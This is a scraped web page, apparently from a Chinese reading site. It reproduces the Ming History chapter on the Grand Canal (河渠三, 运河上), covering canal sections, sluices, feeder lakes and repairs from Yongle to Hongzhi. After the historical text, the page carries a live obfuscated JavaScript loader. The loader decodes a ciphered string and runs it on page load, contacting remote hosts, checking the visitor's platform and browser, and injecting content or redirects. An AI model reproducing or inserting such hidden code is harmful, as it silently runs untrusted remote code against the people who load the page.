关灯
护眼
字体:

◎河渠三(第1页)

章节目录保存书签

◎河渠三

○运河上

明成祖肇建北京,转漕东南,水陆兼輓,仍元人之旧,参用海运。逮会通河开,海陆并罢。南极江口,北尽大通桥,运道三千馀里。综而计之,自昌平神山泉诸水,汇贯都城,过大通桥,东至通州入白河者,大通河也。自通州而南至直沽,会卫河入海者,白河也。自临清而北至直沽,会白河入海者,卫水也。自汶上南旺分流,北经张秋至临清,会卫河,南至济宁天井闸,会泗、沂、洸三水者,汶水也。自济宁出天井闸,与汶合流,至南阳新河,旧出茶城,会黄、沁后出夏镇,循泇河达直口,入黄济运者,泗、洸、小沂河及山东泉水也。自茶城秦沟,南历徐、吕,浮邳,会大沂河,至清河县入淮后,从直河口抵清口者,黄河水也。自清口而南,至於瓜、仪者,淮、扬诸湖水也。过此则长江矣。长江以南,则松、苏、浙江运道也。淮、扬至京口以南之河,通谓之转运河,而由瓜、仪达淮安者,又谓之南河,由黄河达丰、沛曰中河,由山东达天津曰北河,由天津达张家湾曰通济河,而总名曰漕河。其逾京师而东若蓟州,西北若昌平,皆尝有河通,转漕饷军。

漕河之别,曰白漕、卫漕、闸漕、河漕、湖漕、江漕、浙漕。因地为号,流俗所通称也。淮、扬诸水所汇,徐、兖河流所经,疏瀹决排,繄人力是系,故闸、河、湖於转漕尤急。

闸漕者,即会通河。北至临清,与卫河会,南出茶城口,与黄河会,资汶、洸、泗水及山东泉源。泉源之派有五。曰分水者,汶水派也,泉百四十有五。曰天井者,济河派也,泉九十有六。曰鲁桥者,泗河派也,泉二十有六。曰沙河者,新河派也,二十有八。曰邳州者,沂河派也,泉十有六。诸泉所汇为湖,其浸十五。曰南旺,东西二湖,周百五十馀里,运渠贯其中。北曰马蹋,南曰蜀山,曰苏鲁。又南曰马场。又南八十里曰南阳,亦曰独山,周七十馀里。北曰安山,周八十三里。南曰大、小昭阳,大湖袤十八里,小湖杀三之一,周八十馀里。由马家桥留城闸而南,曰武家,曰赤山,曰微山,曰吕孟,曰张王诸湖,连注八十里,引薛河由地浜沟出,会於赤龙潭,并趋茶城。自南旺分水北至临清三百里,地降九十尺,为闸二十有一;南至镇口三百九十里,地降百十有六尺,为闸二十有七。

其外又有积水、进水、减水、平水之闸五十有四。又为坝二十有一,所以防运河之泄,佐闸以为用者也。其后开泇河二百六十里,为闸十一,为坝四。运舟不出镇口,与黄河会於董沟。

河漕者,即黄河。上自茶城与会通河会,下至清口与淮河会。其道有三:中路曰浊河,北路曰银河,南路曰符离河。南近陵,北近运,惟中路去陵远,於运有济。而河流迁徙不常,上流苦溃,下流苦淤。运道自南而北,出清口,经桃、宿,溯二洪,入镇口,陟险五百馀里。自二洪以上,河与漕不相涉也。至泇河开而二洪避,董沟辟而直河淤,运道之资河者二百六十里而止,董沟以上,河又无病於漕也。

湖漕者,由淮安抵扬州三百七十里,地卑积水,汇为泽国。山阳则有管家、射阳,宝应则有白马、汜光,高邮则有石臼、甓社、武安、邵伯诸湖。仰受上流之水,傍接诸山之源,巨浸连亘,由五塘以达於江。虑淮东侵,筑高家堰拒其上流,筑王简、张福二堤御其分泄。虑淮侵而漕败,开淮安永济、高邮康济、宝应弘济三月河以通舟。至扬子湾东,则分二道:一由仪真通江口,以漕上江湖广、江西;一由瓜洲通西江嘴,以漕下江两浙。本非河道,专取诸湖之水,故曰湖漕。

太祖初起大军北伐,开蹋场口、耐牢坡,通漕以饷梁、晋。定都应天,运道通利:江西、湖广之粟,浮江直下;浙西、吴中之粟,由转运河;凤、泗之粟,浮淮;河南、山东之粟,下黄河。尝由开封运粟,溯河达渭,以给陕西,用海运以饷辽卒,有事於西北者甚鲜。淮、扬之间,筑高邮湖堤二十馀里,开宝应倚湖直渠四十里,筑堤护之。他小修筑,无大利害也。

永乐四年,成祖命平江伯陈瑄督转运,一仍由海,而一则浮淮入河,至阳武,陆挽百七十里抵卫辉,浮於卫,所谓陆海兼运者也。海运多险,陆挽亦艰。

九年二月乃用济宁州同知潘叔正言,命尚书宋礼、侍郎金纯、都督周长浚会通河。

会通河者,元转漕故道也,元末已废不用。洪武二十四年,河决原武,漫安山湖而东,会通尽淤,至是复之。由济宁至临清三百八十五里,引汶、泗入其中。泗出泗水陪尾山,四泉并发,西流至兖州城东,合於沂。汶河有二:小汶河出新泰宫山下;大汶河出泰安仙台岭南,又出莱芜原山阴及寨子村。俱至静丰镇合流,饶徂徕山阳,而小汶河来会。经宁阳北堈城,西南流百馀里,至汶上。其支流曰洸河,出堈城西南,流三十里,会宁阳诸泉,经济宁东,与泗合。元初,毕辅国始於堈城左汶水阴作斗门,导汶入洸。至元中,又分流北入济,由寿张至临清,通漳、御入海。

南旺者,南北之脊也。自左而南,距济宁九十里,合沂、泗以济;自右而北,距临清三百馀里,无他水,独赖汶。礼用汶上老人白英策,筑坝东平之戴村,遏汶使无入洸,而尽出南旺,南北置闸三十八。又开新河,自汶上袁家口左徙五十里至寿张之沙湾,以接旧河。其秋,礼还,又请疏东平东境沙河淤沙三里,筑堰障之,合马常泊之流入会通济运。又於汶上、东平、济宁、沛县并湖地设水柜、陡门。在漕河西者曰水柜,东者曰陡门,柜以蓄泉,门以泄涨。纯复浚贾鲁河故道,引黄水至塌场口会汶,经徐、吕入淮。运道以定。

其后宣宗时,尝发军民十二万,浚济宁以北自长沟至枣林闸百二十里,置闸诸浅,浚湖塘以引山泉。正统时,浚滕、沛淤河,又於济宁、胜三州县疏泉置闸,易金口堰土坝为石,蓄水以资会通。景帝时,增置济宁抵临清减水闸。天顺时,拓临清旧闸,移五十丈。宪宗时,筑汶上、济宁决堤百馀里,增南旺上、下及安山三闸。命工部侍郎杜谦勘治汶、泗、洸诸泉。武宗时,增置汶上袁家口及寺前铺石闸,浚南旺淤八十里,而闸漕之治详。惟河决则挟漕而去,为大害。

陈瑄之督运也,於湖广、江西造平底浅般三千艘。二省及江、浙之米皆由江以入,至淮安新城,盘五坝过淮。仁、义二坝在东门外东北,礼、智、信三坝在西门外西北,皆自城南引水抵坝口,其外即淮河。清江浦者,直淮城西,永乐二年尝一修闸。其口淤塞,则漕船由二坝,官民商船由三坝入淮,輓输甚劳苦。

瑄访之故老,言:“淮城西管家湖西北,距淮河鸭陈口仅二十里,与清江口相值,宜凿为河,引湖水通漕,宋乔维岳所开沙河旧渠也。”瑄乃凿清江浦,导水由管家湖入鸭陈口达淮。十三年五月,工成。缘西湖筑堤亘十里以引舟。淮口置四闸,曰移风、清江、福兴、新庄。以时启闭,严其禁。并浚仪真、瓜洲河以通江湖,凿吕梁、百步二洪石以平水势,开泰州白塔河以达大江。筑高邮河堤,堤内凿渠四十里。久之,复置吕梁石闸,并筑宝应、汜光、白马诸湖堤,堤皆置涵洞,互相灌注。是时淮上、徐州、济宁、临清、德州皆建仓转输。滨河置舍五百六十八所,舍置浅夫。水涩舟胶,俾之导行。增置浅船三千馀艘。设徐、沛、沽头、金沟、山东、谷亭、鲁桥等闸。自是漕运直达通州,而海陆运俱废。

宣德六年用御史白圭言,浚金龙口,引河水达徐州以便漕。末年至英宗初再浚,并及凤池口水,徐、吕二洪,西小河,而会通安流,自永、宣至正统间凡数十载。至十三年,河决荥阳,东冲张秋,溃沙湾,运道始坏。命廷臣塞之。

景泰三年五月,堤工乃完。未匝月而北马头复决,掣漕流以东。清河训导唐学成言:“河决沙湾,临清告涸。地卑堤薄,黄河势急,故甫完堤而复决也。临清至沙湾十二闸,有水之日,其势甚陡。请於临清以南浚月河通舟,直抵沙湾,不复由闸,则水势缓而漕运通矣。”帝即命学成与山东巡抚洪英相度。工部侍郎赵荣则言:“沙湾抵张秋岸薄,故数决。请於决处置减水石坝,使东入盐河,则运河之水可蓄。然后厚堤岸,填决口,庶无后患。”

明年四月,决口方毕工,而减水坝及南分水墩先败,已,复尽冲墩岸桥梁,决北马头,掣漕水入盐河,运舟悉阻。教谕彭埙请立闸以制水势,开河以分上流。

御史练纲上其策。诏下尚书石璞。璞乃凿河三里,以避决口,上下与运河通。是岁,漕舟不前者,命漕运总兵官徐恭姑输东昌、济宁仓。及明年,运河胶浅如故。

恭与都御史王竑言:“漕舟蚁聚临清上下,请亟敕都御史徐有贞筑塞沙湾决河。”

有贞不可,而献上三策,请置水闸,开分水河,挑运河。

六年三月,诏群臣集议方略。工部尚书江渊等请用官军五万以浚运。有贞恐役军费重,请复陈瑄旧制,置捞浅夫,用沿河州县民,免其役。

五月,浚漕工竣。七月,沙湾决口工亦竣,会通复安。都御史陈泰一浚淮、扬漕河,筑口置坝。黄河尝灌新庄闸至清江浦三十馀里,淤浅阻漕,稍稍浚治,即复其旧。英宗初,命官督漕,分济宁南北为二,侍郎郑辰治其南,副都御史贾谅治其北。

成化七年,又因廷议,分漕河沛县以南、德州以北及山东为三道,各委曹郎及监司专理,且请简风力大臣总理其事。始命侍郎王恕为总河。二十一年敕工部侍郎杜谦浚运道,自通州至淮、扬,会山东、河南抚按相度经理。

弘治二年,河复决张秋,冲会通河,命户部侍郎白昂相治。昂奏金龙口决口已淤,河并为一大支,由祥符合沁下徐州而去。其间河道浅隘,宜於所经七县,筑堤岸以卫张秋。下工部议,从其请。昂又以漕船经高邮甓社湖多溺,请於堤东开複河西四十里以通舟。越四年,河复决数道入运河,坏张秋东堤,夺汶水入海,漕流绝。时工部侍郎陈政总理河道,集夫十五万,治未效而卒。

六年春,副都御史刘大夏奉敕往治决河。夏半,漕舟鳞集,乃先自决口西岸凿月河以通漕。经营二年,张秋决口就塞,复筑黄陵冈上流。於是河复南下,运道无阻。乃改张秋曰安平镇,建庙赐额曰显惠神祠,命大学士王鏊纪其事,勒於石。而白昂所开高邮複河亦成,赐名康济,其西岸以石甃之。又甃高邮堤,自杭家闸至张家镇凡三十里。高邮堤者,洪武时所筑也。陈瑄因旧增筑,延及宝应,土人相沿谓之老堤。正统三年易土以石。成化时,遣官筑重堤於高邮、邵伯、宝应、白马四湖老堤之东。而王恕为总河,修淮安以南诸决堤,且浚淮、扬漕河。

章节目录

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();